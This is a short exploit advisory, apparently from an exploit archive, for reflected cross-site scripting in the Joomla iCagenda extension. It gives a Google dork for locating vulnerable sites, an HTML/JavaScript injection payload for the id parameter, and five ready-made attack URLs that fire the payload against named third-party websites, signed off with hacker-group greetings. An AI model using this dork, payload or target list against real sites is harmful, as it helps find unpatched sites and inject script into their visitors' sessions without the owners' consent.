######################
# Exploit Title : Joomla iCagenda Cross Site Scripting Vulnerability
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://extensions.joomla.org/extension/calendars-a-events/icagenda
# Google Dork : inurl:index.php?option=com_icagenda
# Date: 2016/03/22
# Version: 3.5.5 up to 3.5.15
######################
# Payload : "><img onerror=alert("|:") src="asd">
# Demo:
# http://www.konstantinosvarsis.com/index.php?option=com_icagenda&view=list&layout=event&id=5:reputation-in-the-digital-age-what-is-your-online-identity%22%3E%3Cimg%20onerror=alert%28%22|:%22%29%20src=%22asd%22%3E&Itemid=195&date=2015-04-22-19-00
# http://www.etakamini.com/newsite/index.php?option=com_icagenda&view=list&layout=event&id=11:progetto-fuoco%22%3E%3Cimg%20onerror=alert%28%22|:%22%29%20src=%22asd%22%3E&Itemid=540&lang=en
# http://www.danceelite.ie/index.php?option=com_icagenda&view=list&layout=event&id=1:social-club-dance%22%3E%3Cimg%20onerror=alert%28%22|:%22%29%20src=%22asd%22%3E&Itemid=205
# http://www.europowergenerators.com/index.php?option=com_icagenda&view=list&layout=event&id=1:bauma-2013%22%3E%3Cimg%20onerror=alert%28%22|:%22%29%20src=%22asd%22%3E&Itemid=223&lang=en
# http://www.atelierbonnegraine.fr/index.php?option=com_icagenda&view=list&layout=event&id=1:antoinette-et-les-poules-savantes%22%3E%3Cimg%20onerror=alert%28%22|:%22%29%20src=%22asd%22%3E&Itemid=548
#
######################
# Discovered by :
# Mojtaba MobhaM (kazemimojtaba@live.com)
# T3NZOG4N (t3nz0g4n@yahoo.com)
# Homepage : persian-team.ir
# Greetz : Milad_Hacking & FireKernel And You
######################